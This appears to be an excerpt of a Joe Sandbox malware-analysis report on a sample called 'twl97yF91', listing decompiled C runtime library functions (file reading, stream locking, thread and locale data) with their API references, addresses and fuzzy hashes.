Uniqueness Score: -1.00%

Function 02CBBF29 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02CBBF8B
_memcpy_s.LIBCMT ref: 02CBC000
__fileno.LIBCMT ref: 02CBC060
__read.LIBCMT ref: 02CBC067
__filbuf.LIBCMT ref: 02CBC08B
_memset.LIBCMT ref: 02CBC0D1
_memset.LIBCMT ref: 02CBC0FC

Part of subcall function 02CBC228: __getptd_noexit.LIBCMT ref: 02CBC228

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 26cd10436aaa824d860efe8b52f370e482b9e09f2abf472120a144d091e75976
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 2351D671900209EFCB228F799C485DEBBB5EF90368F14822AFC2596190D7719F51DF91

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040BCC2(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E0040BA30(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0040FC07(_t120, _t125, _t133);
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0040BA30(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E0040BFC1(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E0040E744(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0040FA20(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106);
												_t107 = E004102F4(_t120, _t125, _t131, _t133, __eflags);
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E0040BA30(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E0040BFC1(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E004103F1(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E0040BFC1(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}

0x0040bcc2
0x0040bcca
0x0040bcce
0x0040bcd3
0x0040bcd5
0x0040bcd8
0x0040bcde
0x0040bd01
0x00000000
0x0040bce5
0x0040bce5
0x0040bce7
0x0040bd08
0x0040bd0b
0x0040bd0d
0x0040bd1c
0x0040bd1c
0x0040bd1f
0x0040bd24
0x0040bd29
0x0040bd29
0x0040bd2c
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd30
0x0040bd35
0x0040bd38
0x0040bd3b
0x00000000
0x00000000
0x0040bd3d
0x0040bd40
0x0040bd44
0x0040bd4b
0x0040bd4e
0x0040bd50
0x0040bd5a
0x0040bd52
0x0040bd55
0x0040bd55
0x0040bd61
0x0040bd63
0x0040be53
0x00000000
0x0040bd69
0x0040bd69
0x0040bd69
0x0040bd70
0x0040bdb6
0x0040bdb6
0x0040bdb9
0x0040be24
0x0040be2a
0x0040be2d
0x0040beb8
0x00000000
0x0040bebe
0x0040be33
0x0040be37
0x0040be87
0x0040be87
0x0040be8b
0x0040be95
0x0040be9a
0x0040be9a
0x0040bea2
0x0040beaa
0x0040beab
0x0040beac
0x0040bead
0x0040beae
0x0040bcf9
0x0040bcf9
0x00000000
0x0040bcfe
0x0040be39
0x0040be3c
0x0040be3f
0x0040be44
0x0040be45
0x0040be45
0x0040be45
0x0040be48
0x00000000
0x0040be48
0x0040bdbb
0x0040bdbf
0x0040bde0
0x0040bde5
0x0040bde7
0x0040bde9
0x0040bde9
0x0040bdc1
0x0040bdc8
0x0040bdca
0x0040bdd7
0x0040bdd7
0x0040bdd7
0x0040bdda
0x0040bdcc
0x0040bdce
0x0040bdd1
0x0040bdd1
0x0040bddc
0x0040bddc
0x0040bdeb
0x0040bdee
0x00000000
0x0040bdf4
0x0040bdf4
0x0040bdf5
0x0040bdf9
0x0040bdfe
0x0040bdff
0x0040be00
0x0040be05
0x0040be08
0x0040be0a
0x0040bec6
0x00000000
0x0040bec6
0x0040be10
0x0040be13
0x0040beb4
0x0040beb4
0x0040beb4
0x0040beb4
0x00000000
0x0040beb4
0x0040be19
0x0040be1c
0x0040be1e
0x00000000
0x0040be1e
0x0040bdee
0x0040bd72
0x0040bd75
0x0040bd77
0x00000000
0x00000000
0x0040bd79
0x00000000
0x00000000
0x0040bd7f
0x0040bd81
0x0040bd83
0x0040bd85
0x0040bd85
0x0040bd87
0x0040bd8a
0x0040be5b
0x0040be5d
0x0040be61
0x0040be6a
0x0040be6f
0x0040be6f
0x0040be72
0x0040be77
0x0040be78
0x0040be79
0x0040be7a
0x0040be7b
0x0040be81
0x00000000
0x0040bd90
0x0040bd99
0x0040bd9e
0x0040bda1
0x0040bda3
0x0040bda6
0x0040bda8
0x0040bdab
0x0040bdae
0x0040bdae
0x0040be4b
0x0040be4b
0x0040be4b
0x00000000
0x0040bd69
0x0040bd63
0x0040bd2e
0x0040bd0f
0x0040bd14
0x0040bd14
0x0040bd17
0x0040bd1a
0x00000000
0x00000000
0x00000000
0x0040bd1a
0x0040bce9
0x0040bce9
0x0040bcee
0x0040bcef
0x0040bcf0
0x0040bcf1
0x0040bcf2
0x0040bcf8
0x00000000
0x0040bcf8

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 02CBC9A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 02CBC92F
__fileno.LIBCMT ref: 02CBC93D
__fileno.LIBCMT ref: 02CBC949
__fileno.LIBCMT ref: 02CBC955
__fileno.LIBCMT ref: 02CBC965

Part of subcall function 02CBC228: __getptd_noexit.LIBCMT ref: 02CBC228

Strings

'B, xrefs: 02CBC976

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: __fileno$__getptd_noexit__lock_file
String ID: 'B
API String ID: 3755561058-2787509829
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: e9f5648307d5eb11c25432d8d4ed4fb8796e32f7d6dd83879953aa3e4883119d
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 8F012B73900A145AD2236B786C416FD73A19ECEB72F65470AE0709B2D0EB28C742ED55

Uniqueness

Uniqueness Score: -1.00%

Function 02CC499F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02CC49AB

Part of subcall function 02CC099C: __getptd_noexit.LIBCMT ref: 02CC099F
Part of subcall function 02CC099C: __amsg_exit.LIBCMT ref: 02CC09AC

__getptd.LIBCMT ref: 02CC49C2
__amsg_exit.LIBCMT ref: 02CC49D0
__lock.LIBCMT ref: 02CC49E0

Strings

@.B, xrefs: 02CC49ED

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 5854e92c216c6ff1dc6fe3b9ff4584612a5e9b9e8f34f4b373f3ae62281340e2
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 39F02431A40B20DBDB3DFBB088007D973A57F00B21FA0855EC444A72D0CB70A901EF55

Uniqueness

Uniqueness Score: -1.00%

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00414738(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4214d0);
				E0040E1D8(__ebx, __edi, __esi);
				_t28 = E00410735(__ebx, __edx, __edi, _t30);
				_t13 =  *0x422e34; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0040D6E0(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x422f18; // 0x422e40
					 *((intOrPtr*)(_t29 - 0x1c)) = E004146FA(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E004147A2();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00410735(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E0040E79A(_t25, _t26, 0x20);
				}
				return E0040E21D(_t28);
			}

0x00414738
0x00414738
0x00414738
0x00414738
0x00414738
0x0041473a
0x0041473f
0x00414749
0x0041474b
0x00414753
0x00414777
0x00414779
0x0041477f
0x00414783
0x00414786
0x00414791
0x00414794
0x0041479b
0x00414755
0x00414755
0x00414759
0x00000000
0x0041475b
0x00414760
0x00414760
0x00414759
0x00414765
0x00414769
0x0041476e
0x00414776

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 02CC4961 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

___addlocaleref.LIBCMT ref: 02CC4973
___removelocaleref.LIBCMT ref: 02CC497E
___freetlocinfo.LIBCMT ref: 02CC4992

Part of subcall function 02CC46F0: ___free_lconv_mon.LIBCMT ref: 02CC4736
Part of subcall function 02CC46F0: ___free_lconv_num.LIBCMT ref: 02CC4757
Part of subcall function 02CC46F0: ___free_lc_time.LIBCMT ref: 02CC47DC

Strings

@.B, xrefs: 02CC4989
@.B, xrefs: 02CC4970

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: ___addlocaleref___free_lc_time___free_lconv_mon___free_lconv_num___freetlocinfo___removelocaleref
String ID: @.B$@.B
API String ID: 4212647719-183327057
Opcode ID: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
Instruction ID: 022614c4773af6e6237063324c9698d488f7a062322c04ccec85624b1a0adf1b
Opcode Fuzzy Hash: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
Instruction Fuzzy Hash: B6E02632521A3105CA3D3B1C783036A929E2FE2316B3B912EE84CE7044DB244A80D4A4

Uniqueness

Uniqueness Score: -1.00%

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040C73D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t16;
				void* _t17;
				intOrPtr _t19;
				void* _t21;
				signed int _t22;
				intOrPtr* _t27;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t50;

				_t37 = __edx;
				_push(8);
				_push(0x421140);
				E0040E1D8(__ebx, __edi, __esi);
				_t39 = _a4;
				_t50 = _t39;
				_t51 = _t50 != 0;
				if(_t50 != 0) {
					E0040FB29(_t39);
					_v8 = 0;
					 *(_t39 + 0xc) =  *(_t39 + 0xc) & 0xffffffcf;
					_t16 = E0040FA20(__edx, _t39, _t39);
					__eflags = _t16 - 0xffffffff;
					if(_t16 == 0xffffffff) {
						L6:
						_t17 = 0x4227e0;
					} else {
						_t21 = E0040FA20(__edx, _t39, _t39);
						__eflags = _t21 - 0xfffffffe;
						if(_t21 == 0xfffffffe) {
							goto L6;
						} else {
							_t22 = E0040FA20(__edx, _t39, _t39);
							_t17 = ((E0040FA20(_t37, _t39, _t39) & 0x0000001f) << 6) +  *((intOrPtr*)(0x423f60 + (_t22 >> 5) * 4));
						}
					}
					_t9 = _t17 + 4; // 0xa80
					 *(_t17 + 4) =  *_t9 & 0x000000fd;
					_v8 = 0xfffffffe;
					E0040C735(_t39);
					_t19 = 0;
					__eflags = 0;
				} else {
					_t27 = E0040BFC1(_t51);
					_t40 = 0x16;
					 *_t27 = _t40;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0040E744(__edx, _t40, 0);
					_t19 = _t40;
				}
				return E0040E21D(_t19);
			}

0x0040c73d
0x0040c690
0x0040c692
0x0040c697
0x0040c69e
0x0040c6a3
0x0040c6a8
0x0040c6aa
0x0040c6c8
0x0040c6ce
0x0040c6d1
0x0040c6d6
0x0040c6dc
0x0040c6df
0x0040c70f
0x0040c70f
0x0040c6e1
0x0040c6e2
0x0040c6e8
0x0040c6eb
0x00000000
0x0040c6ed
0x0040c6ee
0x0040c70b
0x0040c70b
0x0040c6eb
0x0040c714
0x0040c71b
0x0040c71e
0x0040c725
0x0040c72a
0x0040c72a
0x0040c6ac
0x0040c6ac
0x0040c6b3
0x0040c6b4
0x0040c6b6
0x0040c6b7
0x0040c6b8
0x0040c6b9
0x0040c6ba
0x0040c6bb
0x0040c6c3
0x0040c6c3
0x0040c731

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Uniqueness

Uniqueness Score: -1.00%

Function 02CC4233 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02CC423F

Part of subcall function 02CC099C: __getptd_noexit.LIBCMT ref: 02CC099F
Part of subcall function 02CC099C: __amsg_exit.LIBCMT ref: 02CC09AC

__amsg_exit.LIBCMT ref: 02CC425F
__lock.LIBCMT ref: 02CC426F
InterlockedDecrement.KERNEL32(?), ref: 02CC428C
InterlockedIncrement.KERNEL32(00422D38), ref: 02CC42B7

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: df74eed8aa62d6f724d738374d20d0e65367a8ab6c3f59b653d3d22975a05042
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: A8014E31E01610EBD739AB54D4067DEB760BF84724F61801DD814A7194C7749681DFC5

Uniqueness

Uniqueness Score: -1.00%

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00413FCC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x421490);
				E0040E1D8(__ebx, __edi, __esi);
				_t31 = E00410735(__ebx, __edx, __edi, _t35);
				_t15 =  *0x422e34; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0040D6E0(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x422d38; // 0x2e31638
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x422910;
								if(__eflags != 0) {
									_push(_t33);
									E0040B6B5(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x422d38; // 0x2e31638
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x422d38; // 0x2e31638
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414067();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040E79A(_t29, _t31, 0x20);
				}
				return E0040E21D(_t33);
			}

0x00413fcc
0x00413fcc
0x00413fcc
0x00413fcc
0x00413fce
0x00413fd3
0x00413fdd
0x00413fdf
0x00413fe7
0x00414008
0x0041400e
0x00414012
0x00414015
0x00414018
0x0041401e
0x00414020
0x00414022
0x00414025
0x0041402b
0x0041402d
0x0041402f
0x00414035
0x00414037
0x00414038
0x0041403d
0x00414035
0x0041402d
0x0041403e
0x00414043
0x00414046
0x0041404c
0x00414050
0x00414050
0x00414056
0x0041405d
0x00413fef
0x00413fef
0x00413fef
0x00413ff4
0x00413ff8
0x00413ffd
0x00414005

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(02E31638), ref: 00414050

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 02CC1161 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

l, xrefs: 02CC1188
2, xrefs: 02CC11E2
, xrefs: 02CC11AF

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID:
String ID: $2$l
API String ID: 0-3132104027
Opcode ID: 93ec677eb6f37e13f038257329e2d2bc6cd763e678568b4eabc98800338fe0cb
Instruction ID: bc58b239418278565ed197266239350c603c9d555335f029feeae00e40de280b
Opcode Fuzzy Hash: 93ec677eb6f37e13f038257329e2d2bc6cd763e678568b4eabc98800338fe0cb
Instruction Fuzzy Hash: A141C3358442688EDF399A178C883F87BB2AB4131AF3801CEC49D66292C7B54BC7CF45

Uniqueness

Uniqueness Score: -1.00%

Function 02CBFCBF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 02CBFCE1
__calloc_crt.LIBCMT ref: 02CBFCFA

Strings

P$B, xrefs: 02CBFD11
`$B, xrefs: 02CBFD33

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: P$B$`$B
API String ID: 3494438863-235554963
Opcode ID: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
Instruction ID: 80c7bfa7622fb9f50169b1aa87c5df75454d0a626ebd00caf64b915e2304a63a
